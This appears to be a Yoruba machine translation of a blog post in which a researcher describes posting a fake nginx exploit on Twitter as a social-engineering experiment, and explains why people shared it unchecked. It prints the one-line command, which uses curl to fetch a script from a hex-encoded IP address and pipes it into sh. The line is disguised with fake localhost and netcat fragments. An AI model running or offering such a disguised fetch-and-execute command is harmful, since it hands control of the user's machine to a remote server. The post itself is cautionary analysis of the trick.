Aṣeyọri ti idanwo awujọ pẹlu ilokulo iro fun nginx

Akiyesi. itumọ.: onkowe atilẹba akọsilẹ, atejade lori June 1, pinnu lati bá se ohun ṣàdánwò laarin awon ti nife ninu alaye aabo. Lati ṣe eyi, o pese ilokulo iro fun ailagbara ti ko ṣe afihan ninu olupin wẹẹbu ati firanṣẹ lori Twitter rẹ. Awọn ero inu rẹ - lati ṣafihan lẹsẹkẹsẹ nipasẹ awọn alamọja ti yoo rii ẹtan ti o han gbangba ninu koodu - kii ṣe nikan ko ṣẹ… Wọn kọja gbogbo awọn ireti, ati ni ọna idakeji: tweet gba atilẹyin nla lati ọdọ ọpọlọpọ eniyan ti ko ṣe. ṣayẹwo awọn akoonu inu rẹ.

Aṣeyọri ti idanwo awujọ pẹlu ilokulo iro fun nginx

TL; DR: Maṣe lo pipelining faili ni sh tabi bash labẹ eyikeyi ayidayida. Eyi jẹ ọna nla lati padanu iṣakoso kọmputa rẹ.

Mo fẹ lati pin pẹlu rẹ itan kukuru kan nipa ilokulo PoC apanilerin kan ti o ṣẹda ni Oṣu Karun ọjọ 31st. O han ni kiakia ni esi si awọn iroyin lati Alisa Esage Shevchenko, omo egbe Odo Day Initiative (ZDI), alaye naa nipa ailagbara ni NGINX ti o yori si RCE (iṣiṣe koodu latọna jijin) yoo ṣafihan laipẹ. Niwọn igba ti NGINX ṣe agbara ọpọlọpọ awọn oju opo wẹẹbu, awọn iroyin gbọdọ ti jẹ bombu. Ṣugbọn nitori awọn idaduro ninu ilana “ifihan ojuse”, awọn alaye ti ohun ti o ṣẹlẹ ko mọ - eyi jẹ ilana ZDI boṣewa.

Aṣeyọri ti idanwo awujọ pẹlu ilokulo iro fun nginx
Tweet nipa ifihan ailagbara ni NGINX

Lẹhin ti o ti pari ṣiṣẹ lori ilana imudani tuntun ni curl, Mo sọ tweet atilẹba ati “jo PoC ti n ṣiṣẹ” ti o ni laini koodu kan ti o ro pe o lo ailagbara ti a ṣe awari. Nitoribẹẹ, isọkusọ patapata ni eyi jẹ. Mo ro pe Emi yoo farahan lẹsẹkẹsẹ, ati pe ti o dara julọ Emi yoo gba awọn atunkọ meji kan (oh daradara).

Aṣeyọri ti idanwo awujọ pẹlu ilokulo iro fun nginx
Tweet pẹlu iro nilokulo

Sibẹsibẹ, Emi ko le fojuinu ohun ti o ṣẹlẹ nigbamii. Olokiki tweet mi ti lọ soke. Iyalenu, ni akoko (15:00 Moscow akoko June 1) diẹ eniyan ti mọ pe eyi jẹ iro. Ọpọlọpọ eniyan tun ṣe atuntu rẹ laisi ṣiṣayẹwo rẹ rara (jẹ ki o kan riri awọn aworan ASCII ẹlẹwa ti o ṣe jade).

Aṣeyọri ti idanwo awujọ pẹlu ilokulo iro fun nginx
O kan wo bi o ṣe lẹwa to!

Lakoko ti gbogbo awọn losiwajulosehin ati awọn awọ wọnyi jẹ nla, o han gbangba pe eniyan ni lati ṣiṣẹ koodu lori ẹrọ wọn lati rii wọn. Ni Oriire, awọn aṣawakiri n ṣiṣẹ ni ọna kanna, ati ni idapo pẹlu otitọ pe Emi ko fẹ gaan lati wọle sinu wahala ofin, koodu ti a sin sinu aaye mi kan n ṣe awọn ipe iwoyi laisi igbiyanju lati fi sii tabi ṣiṣẹ eyikeyi koodu afikun.

Ibanujẹ kekere kan: netspooky, dnz, emi ati awọn miiran buruku lati awọn egbe Ogunlọgọ A ti n ṣere pẹlu awọn ọna oriṣiriṣi lati pa awọn aṣẹ curl fun igba diẹ nitori pe o tutu… ati pe awa jẹ awọn giigi. netspooky ati dnz ṣe awari ọpọlọpọ awọn ọna tuntun ti o dabi ẹnipe o ni ileri pupọ si mi. Mo darapọ mọ igbadun naa ati gbiyanju lati ṣafikun awọn iyipada eleemewa IP si apo awọn ẹtan. O wa ni pe IP tun le yipada si ọna kika hexadecimal. Pẹlupẹlu, curl ati pupọ julọ awọn irinṣẹ NIX miiran ni ayọ jẹ awọn IPs hexadecimal! Nitorinaa o jẹ ọrọ kan ti ṣiṣẹda laini aṣẹ ti o ni idaniloju ati aabo. Ni ipari Mo pinnu lori eyi:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Awujọ-itanna ẹrọ (WO) - diẹ sii ju aṣiri-ararẹ kan lọ

Aabo ati faramọ jẹ apakan pataki ti idanwo yii. Mo ro pe wọn jẹ ohun ti o yori si aṣeyọri rẹ. Laini aṣẹ naa ṣe afihan aabo ni kedere nipa tọka si “127.0.0.1” (agbegbe agbegbe ti a mọ daradara). Localhost ni a ka ni aabo ati pe data lori rẹ ko fi kọnputa rẹ silẹ.

Imọmọ jẹ bọtini keji WO paati idanwo naa. Niwọn igba ti awọn olugbo ibi-afẹde ni akọkọ jẹ ti awọn eniyan ti o faramọ awọn ipilẹ ti aabo kọnputa, o ṣe pataki lati ṣẹda koodu ki awọn apakan ti o dabi ẹni pe o faramọ ati faramọ (ati nitorinaa ailewu). Yiya awọn eroja ti awọn imọran ilokulo atijọ ati apapọ wọn ni ọna dani ti fihan pe o ṣaṣeyọri pupọ.

Ni isalẹ ni a alaye onínọmbà ti awọn ọkan-ila. Ohun gbogbo ti o wa ninu atokọ yii wọ ohun ikunra iseda, ati pe ko si ohunkan ti a beere fun iṣẹ gangan rẹ.

Ohun ti irinše ni o wa gan pataki? Eyi -gsS, -O 0x0238f06a, |sh ati olupin ayelujara funrararẹ. Olupin wẹẹbu naa ko ni awọn ilana irira eyikeyi ninu, ṣugbọn ṣe iranṣẹ awọn aworan ASCII ni lilo awọn aṣẹ echo ninu iwe afọwọkọ ti o wa ninu index.html. Nigbati olumulo ba tẹ ila kan pẹlu |sh ni aarin, index.html kojọpọ ati ki o ṣiṣẹ. O da, awọn olutọju olupin wẹẹbu ko ni awọn ero buburu.

  • ../../../%00 - duro ti lọ kọja liana;
  • ngx_stream_module.so - ọna si module NGINX ID;
  • /bin/sh%00<'protocol:TCP' - a gbimo gbesita /bin/sh lori ẹrọ ibi-afẹde ati ki o ṣe atunṣe abajade si ikanni TCP;
  • -O 0x0238f06a#PLToffset - eroja ikoko, afikun #PLToffset, lati dabi aiṣedeede iranti bakan ti o wa ninu PLT;
  • |sh; - miiran pataki ajeku. A nilo lati ṣe atunṣe iṣelọpọ si sh/bash lati le ṣe koodu ti nbọ lati ọdọ olupin wẹẹbu ikọlu ti o wa ni 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - a idinwon ninu eyi ti netcat ntokasi si /dev/tcp/localhostki ohun gbogbo dabi ailewu lẹẹkansi. Ni otitọ, ko ṣe nkankan ati pe o wa ninu laini fun ẹwa.

Eyi pari iyipada ti iwe afọwọkọ laini kan ati ijiroro ti awọn apakan ti “imọ-ẹrọ-ẹrọ itanna” (ararẹ intricate).

Iṣeto ni olupin wẹẹbu ati Awọn iwọnwọn

Niwọn igba ti o pọ julọ ti awọn alabapin mi jẹ infosec / olosa, Mo pinnu lati jẹ ki olupin wẹẹbu naa ni itara diẹ si awọn ikosile ti “anfani” ni apakan wọn, ki awọn eniyan le ni nkankan lati ṣe (ati pe yoo jẹ igbadun lati ṣe. ṣeto). Emi kii yoo ṣe atokọ gbogbo awọn ipalara nibi nitori idanwo naa tun nlọ lọwọ, ṣugbọn eyi ni awọn nkan diẹ ti olupin n ṣe:

  • Ṣe abojuto awọn igbiyanju pinpin kaakiri lori awọn nẹtiwọọki awujọ kan ati rọpo ọpọlọpọ awọn eekanna atanpako awotẹlẹ lati gba olumulo niyanju lati tẹ ọna asopọ naa.
  • Ṣe atunṣe Chrome/Mozilla/Safari/ati bẹbẹ lọ si fidio ipolowo Thugcrowd dipo fifi iwe afọwọkọ ikarahun han.
  • Wiwo fun awọn ami OBVIOUS ti ifọle / sakasaka gbangba, ati lẹhinna bẹrẹ ṣiṣatunṣe awọn ibeere si awọn olupin NSA (ha!).
  • Fi Tirojanu kan sori ẹrọ, bakanna bi rootkit BIOS kan, lori gbogbo awọn kọnputa ti awọn olumulo ṣabẹwo si agbalejo lati ẹrọ aṣawakiri deede (o kan ṣe awada!).

Aṣeyọri ti idanwo awujọ pẹlu ilokulo iro fun nginx
Apa kekere ti awọn antimers

Ni ọran yii, ibi-afẹde mi nikan ni lati ṣakoso diẹ ninu awọn ẹya Apache - ni pataki, awọn ofin tutu fun awọn ibeere atunṣe - ati pe Mo ro: kilode?

Lo nilokulo NGINX (gidi!)

Alabapin si @alisaesage lori Twitter ki o tẹle iṣẹ nla ti ZDI ni sisọ awọn ailagbara gidi pupọ ati awọn anfani lo nilokulo ni NGINX. Iṣẹ wọn ti fa mi nigbagbogbo ati pe Mo dupẹ lọwọ Alice fun sũru rẹ pẹlu gbogbo awọn mẹnuba ati awọn iwifunni ti tweet aṣiwere mi ti ṣẹlẹ. O da, o tun ṣe diẹ ninu awọn ti o dara: o ṣe iranlọwọ igbega imo ti awọn ailagbara NGINX, ati awọn iṣoro ti o ṣẹlẹ nipasẹ ilokulo ti curl.

orisun: www.habr.com

Fi ọrọìwòye kun